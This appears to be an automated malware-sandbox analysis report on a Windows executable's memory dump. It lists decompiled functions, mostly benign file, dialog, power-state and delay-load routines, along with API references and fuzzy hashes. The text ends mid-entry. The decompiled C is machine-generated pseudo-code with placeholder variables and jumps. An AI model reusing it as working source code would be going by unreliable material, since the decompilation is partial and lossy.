Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 7b51c41e1f132d894b34556366d84b3c48dc55fb2d90bef4c810c2a953966e59
Instruction ID: 6e62f8b8c49cab50503981dcc1ea114b4906ea38121f7c7c4eca3c100f4525f2
Opcode Fuzzy Hash: 7b51c41e1f132d894b34556366d84b3c48dc55fb2d90bef4c810c2a953966e59
Instruction Fuzzy Hash: 0BF05EB0442B04CEEF318A288549B92B7E89B02A3DF049B1E95E6475D0D375645DDB10

Uniqueness

Uniqueness Score: -1.00%

Function 0135A1B1, Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0135A1B1(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _t12;
				intOrPtr _t20;

				_t20 = _a8;
				 *((char*)(_t20 + 0x1044)) = 0;
				if(E0135B5E5(_a4) == 0) {
					_t12 = E0135A2DF(__edx, 0xffffffff, _a4, _t20);
					if(_t12 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t12); // executed
					 *(_t20 + 0x1040) =  *(_t20 + 0x1040) & 0x00000000;
					 *((char*)(_t20 + 0x100c)) = E01359ECD( *((intOrPtr*)(_t20 + 0x1008)));
					 *((char*)(_t20 + 0x100d)) = E01359EE5( *((intOrPtr*)(_t20 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x0135a1b2
0x0135a1ba
0x0135a1c8
0x0135a1d5
0x0135a1dd
0x00000000
0x00000000
0x0135a1e0
0x0135a1ec
0x0135a1fe
0x0135a209
0x00000000
0x0135a20f
0x0135a1ca
0x00000000

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0135A1E0

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: d449749b348957583926906f1d80a8540a0b9b40f12c23d3e7de3ef1ae9c316e
Instruction ID: 50f07312319749134fa5015f2cb00e2848168de63b332621255795c13fc11b80
Opcode Fuzzy Hash: d449749b348957583926906f1d80a8540a0b9b40f12c23d3e7de3ef1ae9c316e
Instruction Fuzzy Hash: EBF05E31008790AACBA25BB84805FCBBB956F26779F048A49E9FD13191C6765095E721

Uniqueness

Uniqueness Score: -1.00%

Function 013602E8, Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E013602E8() {
				void* __esi;
				void* _t2;

				E01360FAF(); // executed
				_t2 = E01360FB4();
				if(_t2 != 0) {
					_t2 = E01356CC9(_t2, 0x13900e0, 0xff, 0xff);
				}
				if( *0x13900eb != 0) {
					_t2 = E01356CC9(_t2, 0x13900e0, 0xff, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x013602ea
0x013602ef
0x01360300
0x01360305
0x01360305
0x01360311
0x01360316
0x01360316
0x0136031d
0x01360325

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 0136031D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: a880ba65c06a9c98e05d2a424b429ad21c25e2da0f10479f732dad1bb7a47199
Instruction ID: 7add90310759a645d551386f4f3ebfea45b2dd042f6ad9d01f3ca77e5d5c5dd9
Opcode Fuzzy Hash: a880ba65c06a9c98e05d2a424b429ad21c25e2da0f10479f732dad1bb7a47199
Instruction Fuzzy Hash: 05D0C230A0015112EF69322C6506BFF1A0E4F91A19F084059B5062E3C98B45048E93A1

Uniqueness

Uniqueness Score: -1.00%

Function 013695CF, Relevance: 1.5, APIs: 1, Instructions: 17
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E013695CF(signed int __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t6;

				_push(__ecx);
				_push(0x10);
				L0136D7F6();
				_v8 = __eax;
				if(__eax == 0) {
					return 0;
				}
				_t6 = E0136938E(__eax, _a4, _a8); // executed
				return _t6;
			}

0x013695d2
0x013695d3
0x013695d5
0x013695da
0x013695df
0x00000000
0x013695f0
0x013695e9
0x00000000

APIs

GdipAlloc.GDIPLUS(00000010), ref: 013695D5

Part of subcall function 0136938E: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 013693AF

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: c2a80f1359858ca97af3cccb572868f2337aa7eea0f8eb62410b7628bddc2cae
Instruction ID: b7302954bba223a91e2a5e1b02cae660de9737f2785085cb105330a01ee7501e
Opcode Fuzzy Hash: c2a80f1359858ca97af3cccb572868f2337aa7eea0f8eb62410b7628bddc2cae
Instruction Fuzzy Hash: 13D05E3020420EAFDB50AA788C01B7A7A9CDB10218F00C066AD0485144F971DA109792

Uniqueness

Uniqueness Score: -1.00%

Function 01359745, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01359745(void* __ecx) {
				long _t3;

				if( *(__ecx + 4) != 0xffffffff) {
					_t3 = GetFileType( *(__ecx + 4)); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x01359749
0x01359751
0x0135975a
0x01359767
0x01359761
0x01359763
0x01359763
0x0135974b
0x0135974d
0x0135974d

APIs

GetFileType.KERNELBASE(000000FF,01359683), ref: 01359751

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 040fd86cc2b0927268a6a7fd6066148b3615601d2d000fff4235da62ca30a4f0
Instruction ID: 729f8628dcd9b4c9b423449c1185f82d0cb11052fb22c0644f08ef6c8443ee66
Opcode Fuzzy Hash: 040fd86cc2b0927268a6a7fd6066148b3615601d2d000fff4235da62ca30a4f0
Instruction Fuzzy Hash: 92D01270011300D5CFB11E3C8E0995A6A56AF83B6EB38D6A5D566C40A6C722C403F741

Uniqueness

Uniqueness Score: -1.00%

Function 0136C9FE, Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136C9FE(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0x13975c8, 0x6a, 0x402, E0135F749(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E0136A388(); // executed
				return _t7;
			}

0x0136ca23
0x0136ca29
0x0136ca2e

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0136CA23

Part of subcall function 0136A388: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0136A399
Part of subcall function 0136A388: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0136A3AA
Part of subcall function 0136A388: IsDialogMessageW.USER32(0004034C,?), ref: 0136A3BE
Part of subcall function 0136A388: TranslateMessage.USER32(?), ref: 0136A3CC
Part of subcall function 0136A388: DispatchMessageW.USER32(?), ref: 0136A3D6

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: a5a9f83995ae6b910526472795fa6fab968cb67345cd8d0bf91871791e10cabc
Instruction ID: 42a427adaa9c3dbece0996a9bec830445a6f95784e52ddb9db516b1032216272
Opcode Fuzzy Hash: a5a9f83995ae6b910526472795fa6fab968cb67345cd8d0bf91871791e10cabc
Instruction Fuzzy Hash: BFD0C936154300BADB522BA1CE0AF0E7AFABF9CF48F004554B384740F4C6A2AD30AF16

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1BF, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D1BF() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab6c, 0x138df10); // executed
				goto __eax;
			}

0x0136d1ae
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: db2167e205e2215702fe5adbb0c2a31b256d0dc4ee8a68dcf76ab737cd5d47c0
Instruction ID: 5981ef95523b7dcc37fb2552f63b59060debc58c2c0e9d4354500fbb4d33312b
Opcode Fuzzy Hash: db2167e205e2215702fe5adbb0c2a31b256d0dc4ee8a68dcf76ab737cd5d47c0
Instruction Fuzzy Hash: 85B01285358201ECF84673C96C01C36230CF4C091C320C80FF144C198CE4C04D080031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1A4, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D1A4() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab6c, 0x138df08); // executed
				goto __eax;
			}

0x0136d1ae
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6cf6f8590d41e427efeb69d258c07dbf1db62911eece7aa36f7c16b7c3e22008
Instruction ID: 91dfbb377d939ea83552a842f825ec92145df04de28817c863bb0de972c4b5c7
Opcode Fuzzy Hash: 6cf6f8590d41e427efeb69d258c07dbf1db62911eece7aa36f7c16b7c3e22008
Instruction Fuzzy Hash: 62B01285398305FCF40533C5FD01C36220DD1C0A2C321C50FF180C1888E5C04D480031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1DD, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D1DD() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab6c, 0x138df04); // executed
				goto __eax;
			}

0x0136d1ae
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 86b8092d4179547e14d5200a0cf3e225defaca31d7e91aea3e9daa4485558ac1
Instruction ID: 76223dbff4d24d2408935f8c8bd0820247c2c32da13952e68558df0e7c310ab5
Opcode Fuzzy Hash: 86b8092d4179547e14d5200a0cf3e225defaca31d7e91aea3e9daa4485558ac1
Instruction Fuzzy Hash: D3B01285358201ECF44573C97D01C36220CD0C091C320C40FF144C2948E5C14D090031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1C9, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D1C9() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab6c, 0x138df0c); // executed
				goto __eax;
			}

0x0136d1ae
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 056fd779b79d440c47c40b9ef7baf895c8a45510606bf4f41f0cd353ab9e3487
Instruction ID: 7677c796e8808ae4bbeed1535a06007e7ae30a95469d6be38f0bb791bcdddd04
Opcode Fuzzy Hash: 056fd779b79d440c47c40b9ef7baf895c8a45510606bf4f41f0cd353ab9e3487
Instruction Fuzzy Hash: 3FB01285358201ECF44573C97C01C36231CD0C091C320C40FF544C2948E6C04D080031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D234, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D234() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab8c, 0x138dffc); // executed
				goto __eax;
			}

0x0136d20f
0x0136d217
0x0136d21e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D217

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aac46890afb9ea66408ec83cb3629cdf203f82316efa4a2bbe87a61bbba0005e
Instruction ID: 68eb45b8b8ced287e19798b8708253a4d4dea5420331d32b2fb383d33911f98b
Opcode Fuzzy Hash: aac46890afb9ea66408ec83cb3629cdf203f82316efa4a2bbe87a61bbba0005e
Instruction Fuzzy Hash: 98B012C9398201EDF00573CD7C01D37230CE0D093C320C40FF544C6D48E9408C080031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D23E, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D23E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab8c, 0x138dff0); // executed
				goto __eax;
			}

0x0136d20f
0x0136d217
0x0136d21e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D217

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e8126113bfe8eee35d1d0db9669340d596823098900cee5e9c165cb82de10ad3
Instruction ID: 05dfabb6900b3756f3678ce9e4183940e265cd420e84882fe74c4b8f88437968
Opcode Fuzzy Hash: e8126113bfe8eee35d1d0db9669340d596823098900cee5e9c165cb82de10ad3
Instruction Fuzzy Hash: 1FB09289398201ADE00562C96801E36220CE49092C320C40AE144C6948E8408C080031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D205, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D205() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138ab8c, 0x138dff8); // executed
				goto __eax;
			}

0x0136d20f
0x0136d217
0x0136d21e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D217

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e699fafcfd7698921a7152b7c97c143dfcf18159b0234437eab0ba411a36535a
Instruction ID: 580166738a2cfa1443aa28caa43f7643d269ca34d9f443f3229bd68f2aa4c882
Opcode Fuzzy Hash: e699fafcfd7698921a7152b7c97c143dfcf18159b0234437eab0ba411a36535a
Instruction Fuzzy Hash: 5DB092C9398201ADE00522C96801C36220CE19093C320C50AF15085888A8408C480031

Uniqueness

Uniqueness Score: -1.00%

Function 0136D7DA, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0136D7DA() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0136D53A(_t3, _t4, _t8, _t9, _t10, 0x138abcc, 0x138deb4); // executed
				goto __eax;
			}

0x0136d7e4
0x0136d7ec
0x0136d7f3

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D7EC

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 406a74b41b4f41ad6a663ec23eaee9cf95b393920a3527f3762dd46d6edda62b
Instruction ID: 7e11bc3646e40f0ede20a319665af5a9449a3a412554b2799763d07c2da84005
Opcode Fuzzy Hash: 406a74b41b4f41ad6a663ec23eaee9cf95b393920a3527f3762dd46d6edda62b
Instruction Fuzzy Hash: 11B01285359202FDF00573C56E01C36220CD0E091C320C40FF144D0C88E441AC050032

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1F6, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D1F6() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab6c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d1b1
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8eab02a712ac545e8fde8ceffa64dc3103df6bf2292acee4b43ba681d41282fb
Instruction ID: 1f3bf4622aaf3c432bc886995346da7b623a3ae4014307a49b68c537f6dc229b
Opcode Fuzzy Hash: 8eab02a712ac545e8fde8ceffa64dc3103df6bf2292acee4b43ba681d41282fb
Instruction Fuzzy Hash: 79A011823A8202FCB80A3382AC02C3A220CC0C0A2C320C80EE282C0808A8C00E000030

Uniqueness

Uniqueness Score: -1.00%

Function 0136D1EC, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0136D1EC() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x138ab6c); // executed
				E0136D53A(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0136d1b1
0x0136d1b6
0x0136d1bd

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0136D1B6

Part of subcall function 0136D53A: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0136D5B7
Part of subcall function 0136D53A: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0136D5C8

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: de5417d23d3ed75f8589ebed802190ce223a1a3f10c5839dc6e68a921d033efc
Instruction ID: 1f3bf4622aaf3c432bc886995346da7b623a3ae4014307a49b68c537f6dc229b
Opcode Fuzzy Hash: de5417d23d3ed75f8589ebed802190ce223a1a3f10c5839dc6e68a921d033efc
